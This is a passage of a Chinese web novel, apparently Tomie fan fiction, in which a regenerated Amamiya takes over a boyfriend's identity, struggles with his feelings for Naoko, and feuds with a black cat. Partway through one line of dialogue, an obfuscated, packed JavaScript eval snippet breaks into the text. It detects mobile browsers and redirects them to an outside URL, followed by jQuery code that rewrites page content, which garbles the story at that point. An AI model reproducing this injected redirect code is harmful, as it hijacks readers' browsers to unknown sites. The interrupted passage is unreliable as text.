嗯，没错，他雨宫富江，生来就该待在食物链顶端。 随着记忆蜂拥而至进入脑海的，是一张属于少女的可 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“凭什么？你他爹的撞到我车子前，我还没……”他一句话没骂完，就对上了雨宫略长的刘海下那双阴狠的眼睛。 在刺目的车灯下，那张脸又美又艳，唇色反常的殷红，崎岖起伏的皮肤褶皱里，似乎还有什么东西正蛄蛹着。 狰狞又恶心，但看上去，又有一种说不出来的惊艳。 车主人禁不住舔了舔那张粗厚的嘴唇，主动下车，为他打开了车门。 香的，是香的！ 雨宫身上不知名的幽香，随着夜风萦绕在他鼻间，他不由得有些飘飘然，急促地深嗅了几口。 满意于他的识相，雨宫露出一个恶劣的笑，从手指上褪下一枚嵌着碎钻的指环，随手丢给他。 “这个给你，够了吧？” 低贱的凡人，还不是随他摆布。 那枚指环上沾染了雨宫的香气，说不准，还有残留的某种不知名的体.液…… 趁着雨宫坐进车内的功夫，他探出粗短的舌头，迅速在指环内侧舔舐了一下。 “看够了吗？开车。” “够、够了！请问，请问你要去哪儿呢？”见他不耐烦地蹙眉，车主人连忙把指环揣进兜里，急匆匆跨上车。 只是那两束黏腻阴暗的视线，仍然借着后视镜贪婪地舔舐着后座的雨宫。 雨宫将这一切都看在眼里，并将此视作他对凡人的征服。 “去……”他一顿，“先去北街那家甜品店吧。” 没记错的话，上一位雨宫的「恋人」还在那里吧。 就当是他接管这个身份的代价，替上一位雨宫稍微收拾收拾烂摊子吧。 毕竟他「雨宫富江」，绝不能留下任何污点呢。 而且他不得不承认，他对她有几分好奇。 轿车在甜品店停下，他踉踉跄跄地下车，在橱窗前站定。 夏日夜晚，整条街都装饰得很漂亮，成串的小彩灯挂在屋檐下，闪烁着炫目的光晕。 通过透明的玻璃窗往里看，那位奈绪子正睡颜恬静地趴在桌上酣睡，就连在睡梦里也在微微笑着。 安静又乖巧，像是笃定他一定会来，所以正等待着他。 长得还不错，不过也仅仅是不错而已。 在他之前，甚至至少有七位雨宫因她而死。 他来这种地方，就是为了把这麻烦的「老鼠」给「清除」掉。 25.第二十五章 他踱步走到她身边，站定。 似乎没察觉到他的接近，她兀自熟睡着，灯光透过她的长睫毛，在脸颊上打下一片浓密的阴影。 过近的距离，让他连心跳都漏了一拍，不过他更愿意称此为：再生引发的心律不齐。 明明是个再普通不过的人类，但靠近的时候，身体会条件反射地做出很多诡异的举动： 比如说忍不住想碰触她，拥抱她，甚至亲吻她。 对奈绪子的眷恋与爱意灌满了全身，他身上的每一寸皮肤都在不由自主地回味与她接触的美妙快感，口舌生津，鼻尖也叫嚣着想埋入她的颈肩，与她交颈相拥。 她皮肤的温度、拥抱的姿势，以及心跳的频率，哪怕他不必费心去想，也疯狂地充斥着脑海。 哪怕他不愿意承认，但事实就是这样：「雨宫富江」非常爱「川濑奈绪子」，以至于已经成了每位「雨宫」的本能。 他要杀了这只「老鼠」。 与奈绪子接吻的场景像雨一样落了他一身，黏腻，潮湿，挥之不去。 他下意识作呕，想要逃开，却又忍不住靠近，无法逃离。 等他回过神来，手已经不知道什么时候，轻轻地搭上了她的脖颈。 究竟是想杀了她，还是爱抚她，他自己也分不清。 五指下的脖颈纤细而脆弱，只要微微用力，她就会悄无声息地死在这里。 ……真是丢尽了「雨宫富江」的脸。 对这种平平无奇的人也能产生感情，他们是疯子吗？ ……还把他害得如此狼狈。 灼热的温度透过皮肤，传导到他指腹上，让他下意识打了个寒颤。 —·— “我好困啊……雨宫君，天黑了吗？”奈绪子缓缓坐起身，迷迷糊糊地揉了揉眼睛。 雨宫站在她身侧，垂眼盯着她，只是脸正好半隐没在黑暗里，看不太清表情。 见他不回答，她又问了一声：“你也刚醒吗？” …… 等了一会儿，他才冷冷接上了她的话，就像平时一样：“你以为我是你吗？快起身，我们该回家了。” 她刚站起身，就被脖颈上传来的刺痛定住了身体：“……等等，我的脖子好像很痛啊。” “哦，”他抬起手，帮她轻轻捏了捏，“可能是你睡相太差，落枕了吧。” “应该……不至于吧？”看清窗外黑透的天空，她崩溃地低喊，“完蛋了，已经这么晚了，妈妈一定很生气……我睡了很久了吗？松木桑她们呢？” 听见这个名字，他的声音更冷：“哦。我不太清楚，说不定是死了呢。” 毕竟胆敢对「雨宫富江」下手，死是很自然的事。 她对这家伙的毒舌习以为常：“你还是得留点口德呢。时间不早了，我们也早点回家才好。” 但雨宫却没动，落后她两步，居高临下地睨着她。 她以为他又在闹什么脾气，回过头来，主动问：“又怎么了吗？雨宫君。” 她站在离门口不远的地方，彩灯的灯光打在她脸上，把她的眼睛映得又圆又亮。 又蠢。 不知道是脑补了一些什么，她无奈地朝他伸出一只手：“是要牵手吗？” 把他当小孩了吗？ 之前的雨宫都喜欢这种调调吗？ 无聊。 他冷酷地拍开那只手，不屑地低嗤了一声，插着兜越过她走了过去。 “不要吗？我又惹你生气了吗？” 哇，气场突然就变得很欠揍呢。 见他要走，她连忙喊住他。 “喂，雨宫君，等等。”她低头看着脚边那只围着她转圈的黑猫，“有猫咪诶。” 这是只绿眼睛白手套的黑猫，见她望过来，连忙谄媚地用脑袋蹭了蹭她的裤脚。 应该很少有人能抵抗此种萌物，奈绪子也不例外，她连忙蹲下身，将它抱起来爱怜地蹭了蹭。 雨宫站在四五米外，看清这只黑猫的模样，下意识蹙了蹙眉。 “少碰这种恶心的流浪猫，小心咬你。”说着，他两步上前，从她怀里把那只猫丢了出去。 这番行云流水的动作，奈绪子甚至没来得及反应。 这个没品的家伙。 见它没什么大事，她才冷声批评道：“喂，你别太过分了，你这种行为叫做虐待猫咪，知道吗？” 他不以为意，冷哼了一声。 “刚才我就想问了，雨宫君，你身上怎么有一股垃圾的味道？”她走近，踮脚在他颈侧嗅了嗅。 雨宫登时如临大敌地后退两步，脸上的肌肉跟着抽搐了两下：“喂，不要自说自话地主动靠近啊。” “就算你掉进垃圾桶里了，我也不会因此嘲笑你的，雨宫君。因为我可不像你那么没品。”她学着他的模样，哼了一声。 “……”似乎是被她说中，雨宫沉默了一会儿，“你的话一直都这么多吗？啰嗦死了。” “明明你比我啰嗦得多好吗？我也不太想理你呢。我准备把泡泡带回家里。” 听了这话，雨宫的脸色变得异常难看，那双冷酷的眼睛定格在黑猫脸上，欲言又止： “哈，你也不要自顾自给它取名字好吗？这种脏东西，赶紧给我丢掉。” 她冷声拒绝：“不要。我准备养它。” 他游刃有余地环抱手臂，提问道：“哦？是吗？那你准备怎么跟你妈妈提这件事呢？” 奈绪子偃旗息鼓了。 因为川濑美里女士并不喜欢这种邪恶的毛茸茸。 她口中的“养它”，当然是准备把它寄养在雨宫家。 “再说了，它脖子上有牌子，肯定是有主人的。赶紧把它丢下。” “明知道是家猫，之前还吓我说是什么流浪猫……”她边抱怨，边把它脖子上的猫牌翻过来，“松……松木，嗯？这该不会是松木桑家里的猫吧？” 不过说起来，这只猫的确长得有几分眼熟。没记错的话，她曾经在松木桑的社交账号上见过它的照片。 事实上，在松木主动对她释放善意时，她就激动得连夜把她的社交软件看了个遍，意图找到交友的切入点，当然也见过这只出现频率极高的猫咪。 据松木本人说，这只黑猫非常温和，是绝对不会朝人发脾气的。 但想起它先前冲雨宫哈气的样子…… 不过作为家长，对自己家孩子有些滤镜，还是很正常的事吧？ 雨宫相当冷酷，再次伸手把猫从她怀里拎起，丢到地上：“管它是谁的猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752559|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。既然有主人，你就离它远点好了。” 这种行径显然惹恼了猫，它竖起浑身的皮毛冲他低吼，甚至作势准备咬他。 真奇怪啊。 平时小动物们都恨不得紧紧粘着雨宫君才对。 “不行。这么晚了，松木桑肯定早就回家了，我们把它带走吧？就一晚，明天就把它送还给松木桑好不好？我保证。我会和松木桑说清楚这件事的。” 说着，她做了个双手合十的手势，可怜兮兮地望着他。 “哈，”他似乎想开口讥讽她几句，垂眼看见她可怜的脸，却一顿，冷哼一声，“随便你。” 这就是同意的意思了。 奈绪子喜出望外，连忙把它抱起，紧紧环抱在怀里，生怕他突然反悔：“啊啊啊那太好了。走吧小猫咪，快跟姐姐和哥哥回家吧。” 他不悦地反驳：“这种恶心的事情不加上我也可以。” 她原本打算让雨宫把猫抱进小洋楼里，但猫咪一进他怀里，就试图凶狠地撕咬他的脖颈和手臂。 没办法，奈绪子只好亲自把猫抱进雨宫家，放到地毯上。 “我家里还有一些剩下的猫粮，我去拿过来。”转身走了几步，身后就传来猫咪撕心裂肺的尖叫，和雨宫不耐烦骂它的声音。 “死猫，给我闭嘴，安静点，知道吗？到别人家里来，还是要懂点礼貌的。” “……” 但愿他们能和谐相处吧。 奈绪子爽快地撸了一晚猫，直到川濑美里再三催促，才不情不愿地回家。 她给松木桑发去了不少信息，可都是石沉大海。 不仅仅是松木桑，还有会田桑和冈田桑，她想问问大家是不是都安全到家，可是一条回复也没有。 也许是因为她昨天表现得太差吧。 当然，这也有雨宫君从中作梗的功劳。 不过，在第二天，她就知道这是为什么了。 松木、冈田和会田在无名危楼里齐齐服毒自杀了。 当得知这个消息的那一刻，奈绪子就吓得脸色惨白。 开什么玩笑啊！ 明明昨天还一起吃巴菲不是吗？ 不久前还活蹦乱跳的人，居然转眼就死了，这根本就无法令人接受啊。 见她苍白的脸色，雨宫的唇边牵起一抹恶意的笑：“那种人，死了也是活该，我恨不得将她们碎尸万段呢。” “雨宫君，你太过分了。明明昨天，她们还请我们吃过巧克力巴菲呢。” “那种人根本就不重要，你不需要关心这种无关的事。”他无所谓道。 “怎么会是无关的事？就算不是朋友，那，那也是同学呢。” 他凝视着她，一语不发。 “雨宫君，我觉得你有些怪怪的。发烧了吗？”她本想伸手探探他的额头，但却被他反应颇大地躲开，只好补充道，“如果有心理问题的话，最好还是找心理室的老师聊聊吧。” “哦，我才没什么事。”他淡淡地移开了视线，从侧脸看过去，耳垂似乎已经红了。 ……该不会是害羞了吧？ 借着余光，奈绪子观察着这个奇怪的冷脸雨宫。 总觉得有哪里怪怪的。 雨宫君，不像「雨宫君」了。 26.第二十六章 说不上是哪里不像，明明样貌一模一样，性格也还是那么唯我独尊。 但眼前这个雨宫，却让她感觉有些陌生。 似乎是察觉到她的视线，雨宫侧身问道：“不是说市中心开了一家新的巴菲店吗？一起去吃吧 。听说他们家的樱桃巧克力巴菲很不错，你不是喜欢吗？” “不是昨天才吃了吗？而且松木桑她们……我吃不下。” 他嫌弃地抱怨道：“你可真麻烦啊，川濑奈绪子。” 在下午的时候，警局的警察特意过来问了昨天的事。 面对几个配枪的帽子叔叔，他的表情拽得可怕：“我不知道。那种人死了就死了，不需要问这么多吧？” “嗯，雨宫同学，其实我们是想问问……” “说了不知道。不是很清楚吗？就是服毒自杀了，跟我一点关系也没有。”他不耐烦地蹙眉。 喂，这么嚣张的态度，真不怕警官请他吃花生米吗？ 不过没等奈绪子把他拉开，几个警官就和颜悦色地将他们放走： “哎呀，既然如此，那也没有办法了。现场看上去就是自杀的样子呢，没有任何疑点。我们警方将会以自杀结案。” 总感觉哪里怪怪的。 电视剧里不是说，警官会刨根问底吗？ 况且明明昨天她还昏过去了，这应该也算疑点吧？ 还是说，因为她是案件无关人物，所以并没有被注意到的必要？ 她又准备补充说明说些什么，就被沉着眼的雨宫拉了一把：“回来。你这是要去哪儿？” “昨天的事……” “好了，我饿了。”他扯着她的后领，打断她的话，“走吧，我们去吃上午说的那家巴菲吧。” “可是……” 他不耐烦地朝她低骂了一句：“你真的很烦人。” 这家伙脾气真是突然变得特别差！ 她悻悻地闭上嘴巴，被他扯得踉跄，不得不大步跟上。 她恨恨地抱怨：“你走得也太快了……我跟不上啊。” 走了一阵子，等远离人群，雨宫才放开她的桎梏，大跨步往前走。 奈绪子又没他高，好不容易小跑跟上，走了没一会儿，就被远远地甩在后面。 她已经开始想念以前温柔的雨宫君了。 嗯…… 她为什么要说“以前的”？ “你真的很没用。”似乎是听见她的抱怨，他停了下来，抱臂冷笑着看她走近，“看来他真的相当迁就你呢。但很可惜，我不是那种没用的死恋爱脑。” 这个人又在自顾自说什么古怪的话？ 刚站定，路边就不知道打哪儿窜过来一辆摩托车，她下意识牵住他的手，把他拉了回来。 他一时没有察觉，往奈绪子身上轻撞了一下，原本云淡风轻的脸腾的红透了。 呼啸声平复，他猛地甩开她的手，捂着脸后退一步，质问道：“你这是在做什么？！” “啊？有车子过来了，我只是拉你一把。” 他急得跳脚：“谁需要你自作多情了？就算你不拉我的手，我也不会有一点事。” “你到底在别扭什么啊，雨宫君。”奈绪子疑惑地绕着他转了一圈，挑眉，“以前不是还接吻了吗？现在只是牵个手而已。” 而且，以前这家伙明明就是主动的那个吧。 雨宫立马炸了，尖叫道：“哈？接吻？我看你们真是疯了！恶心死了知道吗？为什么要干这种恶心的事？” 说完，他嫌恶似的重重地擦了擦嘴巴。 “雨宫君，你可别太过分了！之前明明是你主动的吧？”奈绪子支吾了半天，也跟着脸红了。 “我怎么会主动跟你那个？！你给我清醒点！”吼着吼着，他像是想到了什么，整个人红得像小龙虾，“就、就算是，你现在也不能……” 这是雨宫君（尖叫鸡版），动不动就大呼小叫。 “我祈祷你尽早恢复正常，雨宫君。总之，如果你这么介意的话，以后保持距离就是了。” 他一顿，才低声冷哼道：“那样最好不过。我和上一个雨宫可不一样，你以后少提什么以前。没有以前了知道吗？现在只有我。” “哈？你脑子没问题吗？难道你变异了吗？我看你才像是玩游戏玩坏了脑子。”奈 他没有回答。 因为是有名的人气店，顾客很多，好在靠着那样无往不利的脸，雨宫顺利带着奈绪子挤了进去，并占据了一个视野最好的位置。 事实上刚走进来，她就打起了退堂鼓，被无数人用看猴子的视线审视的感觉，真不好受。 好在那份美味的草莓巧克力巴菲很好的弥补了这一点。 ——就连雨宫君也吃得津津有味。 不对。 “雨宫君，你不是最讨厌吃这种甜腻腻的东西吗？以前每次吃，都说觉得很恶心的。” “哦，有吗？我现在变了，突然喜欢上了，不可以吗？”对上她古怪的眼神，雨宫随手把她背后的卫衣帽子扣上，“吃你的就好，总想些有的没的。少对我指手画脚，知道吗？” 那种怪异的感觉又来了。 “雨宫君，你变得奇怪了。” “人当然会变，这是理所当然的事。” 奈绪子懒得理会他，回过头，只专注吃着自己杯子里的巴菲。 但每每低下头，就总感觉有两道如影随形的视线，赤.裸裸地观察着她，等她抬起头，却又什么都没发现。 是错觉吗？ 雨宫君开始吃甜品了。 这意外的是一件好事，因为自从他爱上甜品之后，会经常带她到甜品店吃。 这样她就可以顺理成章地蹭吃蹭喝，简直太幸福了。 因为女儿去世，松木桑的家人并不愿意留下那只黑猫，奈绪子就将它领养下来。 不过准确的来说，是雨宫君领养了它。因为川濑美里女士的关系，泡泡只能寄养在雨宫家。 不过奈绪子会经常性的带着猫粮和玩具到隔壁找它。 泡泡表现得异常黏她，她不在场的时候，猫咪拒绝进食，几天下来瘦了一大圈。 雨宫大概巴不得它饿死，但糟糕的是它饿急了就会趁夜摸进他的房间里，用爪子抓挠他的脸。 几天下来，他脸上都是抓痕。 终于忍无可忍的时候，他买了个铁笼子把它关了进去。 “哈，你到底什么时候把那只死猫带走？” 奈绪子做了个拜托的手势：“你知道的雨宫君，妈妈不让我养猫……” “所以你就来折磨我吗？” 虽然这是事实，但她还是试图狡辩：“怎么算是折磨呢？泡泡 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她把猫咪抱起来，它立马可怜兮兮地喵呜两声。 “这么可爱的小猫，怎么可能干出那种坏事？” 雨宫转过脸，刚和黑猫对上视线，它那双原本浑圆的瞳仁瞬间竖成一道细线，把他气得冷笑。 他咬牙切齿：“把它丢出去流浪就不过分了。反正我一点都不想养，它的主人可是你呢。” “雨宫君，你看，它这么可爱，你不喜欢吗？” “是，我一点都不喜欢这种丑猫，要不是因为你，它早就被我赶出去了。” 她敢怒不敢言，倒是那只猫转头冲着他凶狠地哈气。 看起来他们确实不太对盘。 甚至可以说，像是两个雨宫在打架。 雨宫烦躁地把手里被咬得破破烂烂的T恤丢下，转身往房间里走，黑猫竖起的毛才回落，钻进了奈绪子怀里。 只要她还在雨宫家，泡泡就不会离开她一步，甚至在她离开的时候还喵喵叫着想要跟上。 “泡泡，明天我还会来看你的。”她没办法养这只猫，只能很抱歉地在大门后看着它。 它蹲坐在原地，一动不动。 不知道怎么的，她总觉得这样沉默又温柔的眼神很熟悉。 在哪里见过呢？ “滚进来，我知道你能听懂。” 见黑猫不动，雨宫捏着它的后颈把它丢回了屋里。 她身后又传来一人一猫打架的动静，和雨宫骂骂咧咧的声音。 只能祈祷他们能够好好相处吧，阿门。 雨宫君最近变得有些奇怪。 不仅仅是性格，对她的态度也变了。 明明以前黏过来的人是他，现在相处起来却总是一惊一乍的。 中午的时候明明默认一起吃饭的，到点了他却拎着便当就走，奈绪子连忙扯住他的袖口： “不是该吃饭了吗？你这是要到哪里去？” 他立刻应激似的拍开她的手，蹙眉：“少碰我。”似乎反应了好一会儿，他才明白她的意思，“下次少对我动手动脚，离我远点，知道吗？我和其他甘愿匍匐在你脚下的雨宫……蠢货可不一样。” 27.第二十七章 “……喂，以前为此大呼小叫的人不是你吗？”她很无语，“所以你到底还要一起吃饭吗？” 他冷哼一声：“……随你。” 是什么时候加的傲娇属性吗？ 刚坐下，雨宫就非常自然地接过她的便当，帮她打开了盖子，不过没一阵子，他像是突然反应过来，低骂了一句什么。 他愤怒地质问道：“你连打开便当盒子都要别人帮忙吗？” “啊？” 见她愣住，他低吼道：“这种事情你就该自己做啊。” “我可从没要求你做这个。都是你自作主张不是吗？”说着，她从他手里把便当抢了回来，“还有，你总是从我便当里抢东西吃，我没有骂你已经算是好脾气了。” 这当然是夸张化的说法，雨宫君暂时还没到这种变态的程度，但她这时候气急了。 他似乎难以反驳，脸色变得铁青，最后只重重地把自己的便当砸在桌上，吓了奈绪子一跳。 雨宫君脑子一定是出问题了。 准备埋头吃饭的时候，他还在用不善的眼神盯着她。奈绪子可不会惯着他，只瞪了他一眼。 他哼笑一声：“你还真是惹人讨厌啊，奈绪子。” “彼此彼此。”她没好气。 下午有一节糟糕的小组合作课，奈绪子很不喜欢。 因为雨宫君的关系，在这种组团的课程中，她总是被孤立在外的那个。 层层人群环绕着雨宫，他站在簇拥里，若有似无地朝她的方向投来一眼。 无聊。 她挑了个角落坐下，等着老师将她分配到某个未满员的小组。 平时雨宫会很自然地在她身边坐下，但也许是因为中午吵嘴的原因，他一动不动。 他未免也太过分了。 想着想着，她有些委屈，把脸埋进了手臂里。 旁边传来一阵喧闹声，他走了过来，在她身边站定。 “喂。”他不太自在地喊。 “真没用啊，你哭了吗？” 还有这种无耻的人吗？ 这时候还要耀武扬威地向她展示自己的「高人气」吗？ 她抬起头，准备骂他几句。 似乎因为他的偏爱，人流涌动起来，不知道人群里谁先推了一把，众人挨挨挤挤，最后把雨宫挤得向前踉跄了几步。 脸颊上划过一个柔软的吻，等她再睁开眼，看见的就是雨宫那张红透的脸。 他以一种狼狈的姿势躬身站立着，一只手撑在她头顶的墙壁上，另一只手则撑在桌上，低头和愣住的奈绪子面面相觑。 但只有一秒，他就恼怒地站直了身子，低骂：“你们这群「蠢驴」……都给我滚远点！” 人群划开一道口子，眼睁睁看着他沉着脸走了出去，看方向，是洗手间。 希望这位大少爷不要又因此记恨上她吧。 奈绪子赶紧站起身，跟了过去。 洗手间毕竟没有多大，她站在门外，能听见他碎碎念的骂骂咧咧，什么“恶心”“惹人讨厌”“真不知道哪里有魅力”之类的，也不知道是不是在骂她。 他把水龙头开得哗哗响，大概把嘴巴洗了不下十遍，因为再走出来的时候，唇已经彻底肿了。 比起生气，她更觉得好笑。 她连雨宫君光屁股的时候都见过，现在拉开距离，还来得及吗？ 看见门口的奈绪子，他一愣，问道：“你跟过来做什么？离我至少五米距离，知道吗？少靠得那么近。” 说完，他就迈开步伐，把她甩开了。 等奈绪子回到教室，他已经很可恶地加入了另一个小组，她则被分配到一个看起来不情不愿的小组里。 尽管如此，整节课，其他组员并没有理会她，自觉将她排除在外。 雨宫冷眼把这些事情看在眼里，明明他随口一句话就能阻止的事，却什么都没有做。 奈绪子不喜欢这个雨宫君。 所以在放学一起回家的时候，她表达了自己的不满：“雨宫君，我不喜欢你现在的样子。” 他显得很愤怒，脸颊抽动了两下，拉着背包带子把她往自己身前拉了一把，连指节都用力得浮起青筋。 “那你是喜欢我以前的样子吗？”他捏着她的下巴上下打量，“我怎么都看不出来，你到底有什么特别的。” “那是因为你没品。我们分手吧。” 原本还勉强算得上是冷静的雨宫瞬间炸了，他的眼底蔓延起几缕红血丝，美貌的脸有些狰狞，两只缩小的瞳仁死死瞪着她： “分手？你想也别想！” 他走来走去： “你这辈子都别想甩开我。你做好一辈子被我欺压的准备吧。想甩开我？想也别想。就算我死了，也会缠着你不放的。” 她掰开他的手。 听说但凡是情侣，就躲不过“七年之痒”之类的魔咒，看来她和雨宫君也是这样—— 虽然说恋爱的时间还远不到七年吧。 他们沉默着一前一后回了家，奈绪子始终没有回头，但可以感觉到雨宫君刺向她的阴冷的视线。 川濑美里指了指玄关那堆快递：“这是奈绪子你买的吗？全都是猫玩具哦。要拿到隔壁去吗？” 她虽然不喜欢猫，但并不阻止奈绪子养在雨宫家。 “……不去。” 美里敏感地察觉到女儿的情绪：“你们又吵架了吗？” 她不想多说，只说没什么，就噔噔噔跑回房间，把脸埋进了被子里。 隔着一个小花园，远远从雨宫家传来了若有似无的吉他声。 这之后就是可怕的打砸声，她不由得为那把可怜的吉他捏了把汗。 不管怎么说，还是得去看看猫咪的。 走进屋里的时候，黑猫正瑟缩在沙发上打盹，见了奈绪子，立刻抬起头，凝视着她。 等她走过来，就干脆顺势蹭到了她腿上。 楼上响起轻微的脚步声，抬头一看，雨宫正迈着缓慢的步伐从楼上走下来，见了奈绪子，只冷淡地移开了视线。 他走进了厨房里，自顾自开始开火烧菜。 有点香。 因为一肚子火，事实上今晚根本没吃多少。 是她喜欢的可乐鸡翅。 他重重地把瓷盘放到桌上，惹得黑猫不悦地喵呜了两声。 见她不动，他在那头冷冷地喊：“不过来吗？” “……” 这就是示弱的意思了。 奈绪子抱着猫 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奈绪子抱紧猫，转身就要走，不过刚走两步，就被一双臂膀从身后搂住了。 “喂，让你不要走。” 眼泪砸在他的手臂上，他一顿，又道：“我又没说什么过分的话。” 她还是没说话，只顾着低头哭。 雨宫更烦躁，声音也不由得低了下来，耳尖跟着红了：“别哭了，我不该说这种冷酷的话，够了吧。” 那双手把她转了个身，随手帮她拭去眼角的泪水。 “哭得简直恶心死了，奈绪子。” 她再也忍不住，把脸埋进了他怀里。 虽然味道好像不太一样了，但还是香香的，是属于温柔的雨宫君的幽香。 反应了一会儿，雨宫才无奈地伸手拍了拍她的背脊。 “行了，别哭了。还有，把这只死猫丢远点，等会儿又要咬我了。” “……不行，我还要抱一会儿。” 不知道说的是猫，还是人。 总之，雨宫富江没有再动。 “不准用我的衬衫擦鼻涕。”他警告，从兜里取了张纸巾给她胡乱地擦了一把，“你就这么脆弱吗？让你平安长到这么大，他可真不容易。” 她闷闷地问：“那我以后还可以靠近你吗？” “我说不可以，你不也还是靠近了吗？现在才来装礼貌吗。” “那牵你的手呢？” 他咬牙道：“……牵。” “还有接吻。” 他炸了：“这个当然不行！我可不是这种随便的人！” “哦。” 其实奈绪子根本不在乎这个，她只是以此来确认雨宫会不会离她而去，只有这件事情，是绝对不可以的。 通过今晚的事，他们的关系恢复了正常。 雨宫君恢复了原本那种温柔又带点小脾气的样子，只是不知道为什么，总是有种拙劣的模仿感。 但这无所谓，奈绪子只要确认这个雨宫君对她很好，这就够了。 28.第二十八章 上川学园有游学的传统。 学生们每年都会有一次郊游的机会，经过讨论，他们今年的行程是要到另一个镇子旅游。 据其他同学所说，那个镇子山清水秀，风景很好。 在一周以前，大家就已经做好了攻略，包括准备在哪里和雨宫君合照、还有在哪棵树上刻下自己与雨宫君的名字——听说这样做，下辈子就能成为夫妻。 可以说，雨宫君还没投胎，就已经犯了重婚罪。 为了这场游学，大家用班费租了一辆大巴。既然是大巴，所以座位当然是成对的。 不过从坐下去，奈绪子身边陆陆续续经过几个女同学，但目前为止并没有任何一个人愿意落座。 听着女孩们结伴说笑的声音，说不难过当然是假的。 也许是因为今天情绪敏感，奈绪子感觉眼睛有些酸酸的。 简直太丢脸了。 良久，身边才传来一声不屑的冷嗤：“又哭了吗？” 一只熟悉的手掌搭在她头顶。 “有什么好哭的，和我说一声不就是了吗？”他随手摩挲了一下她的发顶，偏过头嘟囔，“我才离开没一会儿而已。” 才不是为他哭的啊。 再说了，到现在也没能交上同性好友，这完全是雨宫君的锅。 奈绪子拂开他的手，但他一遍遍搭了上来，最后她忍无可忍，也顾不上车里还有别的人，低吼道：“你给我走开啊，雨宫！” 由于气急，她也不喊生疏而客气的“雨宫君”了。 因为她这句话，大巴里彻底安静了下来。 当事人却没有生气，反而轻哼一声，紧挨着她坐了下来。 “哦，这样吗。我偏就要坐下来。你这副张牙舞爪的姿态一点都不可爱。” 说着，他还怜爱地用手揉了揉她的发顶，被她恶狠狠地拍开了手。 她低声警告道：“你走开啊。” “我拒绝。” 奈绪子简直快要气死了。 这家伙真是越来越可恶了。 见她敢怒不敢言的样子，他突然道：“我发现当雨宫富江也没什么不好呢。” “……” 是啊，她要是也有这张无往不利的脸，同样不会有什么不好的。 “还是当男女朋友吧，奈绪子。我同意了。” 奈绪子总算找到了反击的时机，学着他欠揍的语气：“我拒绝。” 侧头看去的时候，他不知道什么时候脸已经红透了，嘴里却还不饶人。 “驳回。” 驳回个鬼啊！ 这明明是犯规吧？ 再说了，凭什么需要他同意。 “就凭我是雨宫富江。所以你的想法一点也不重要。”说这话的时候，他脸上还带着点莫名其妙的骄矜。 不想在大巴上引起更多人的注意，奈绪子只能暂且按捺下自己的不悦，准备等下车后再翻旧账。 郊游的地方离上川学园非常远，坐车要三个小时左右。 在乙女游戏里，这是男女主角情感升温的老套桥段，比如说女主角睡着，然后把脑袋枕到男主角肩膀上。 为了防止这种不妙的事情发生，她死死瞪大眼，以抵挡自己的睡意。 但没一会儿，她就感觉肩膀上落下一个毛茸茸的东西。 雨宫倚靠着她的肩头，那张美貌的脸在略长的发丝中若隐若现。 为了方便行动，他今天把发丝捋到耳后，扎了个小揪揪，刺得她肩膀的地方有点痒痒的。 “……” 这个可恶的家伙！ 鼻尖萦绕着那股和她相似的洗发水味，以及那股独属于雨宫的幽香，奈绪子一边在心里咒骂他，一边跟着缓缓滑入了梦乡。 嗯……坐车真的很容易犯困。 等她再醒来，已经不知道什么时候靠在了雨宫僵硬的臂膀上。 他梗着脖子板板正正坐着，一只手玩着手机，屏幕上正映着奈绪子的大脸。 这家伙居然趁她熟睡偷拍她！ 真没品啊。 来不及多想，她就迷迷糊糊地想把手机抢过来，但被他轻咳一声躲开。 “哦，醒了啊。” 喂，这是什么扫兴的语气啊。 “把照片删了！”她低声警告。 “不要。” 奈绪子还想伸手，反而被他反应颇大地避开，脸也跟着红了，道：“喂，你靠太近了。还有，别到处乱碰……” 见她准备骂人，他随手把手机放进了风衣兜里。 “公共场合，请注意礼貌，川濑奈绪子。” 这种话从他嘴里说出来，还真是一点说服力也没有。 说完，他就若无其事地坐着，拢紧了风衣外套。 真是令人无语啊，这种不要脸的家伙。 大巴在一个山清水秀的地方停下，同学们陆续下车，但视线还若有似无地停留在雨宫身上。 大家找了个视线开阔的地方，筑起了几个结实的帐篷。 奈绪子分到了摆放野餐布的工作，但是没忙活多久，身后就跟了一条吵闹的尾巴。 正好，这让她找到了机会，提醒道：“雨宫君，快把我的照片删了！” “不删。你还是死了这条心吧，我会把这些照片带到地狱里。” 她揪住他的风衣前襟，手探进他的口袋里掏那部被藏起来的手机，似乎没想到她这样直接，没多久，雨宫的脸就红了一半。 “喂，少动手动脚的！” “快把我的照片删掉啊，我可以告你的知道吗？你这个可恶的偷窥狂！” 他手忙脚乱地试图抓住她那只手，不过奈绪子正在气头上，不管不顾地非得把照片删掉不可。 雨宫无可奈何，最后仗着身高优势，把她两只手攥紧，按在了头顶。 好在这个地方位于大家的观测死角，否则奈绪子现在就要因为羞耻而死掉。 她抬腿踢他，低吼道：“快把我放开啊！你这混蛋。” 雨宫脸红透了，但还嘴硬着：“不放。” 尽管没有费力回想，但从前那位「雨宫」和奈绪子接吻的画面像潮水一样涌了上来。 接吻的细节，唇瓣的温度、柔软度，还有少女的姿势，不知道被主人在夜里回味了多少遍，以至于记忆是如此清晰。 他的视线也不自觉落在她的唇上。 但只一秒，他就像是被烫着似的别过脸，轻咳一声松开了她：“我说过了，让你不要动手动脚的。” “你想接吻吗？”她像看穿了他。 “……我怎么可能想和你接吻？恶心死了，少提这种……” 奈绪子无语地打断他：“看样子明明就很想。每次你露出这个眼神的时候，都是在索 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晚餐的时候，雨宫插着兜从人群里走出来，紧挨着她坐下，极其自然道：“我想吃你的三明治。” 这当然又引来了众人羡慕嫉妒恨的目光，她交友的想法彻底泡汤。 她恨恨地抬手把三明治掰成两半，准备把他的嘴给堵上。但雨宫却故技重施，低下头从她手里把三明治叼了过去。 奈绪子犹豫着要不要拿起一旁的黄瓜，冲他脑子上来一下。 “雨宫君，再这样下去，我真的没办法再交什么别的朋友了。” 他理所当然，唇边牵起一抹得逞的笑：“那最好不过了。你是我的女朋友，当然理应只接近我一个人。奈绪子的时间被我一个人占据就够了，难道不是吗？” 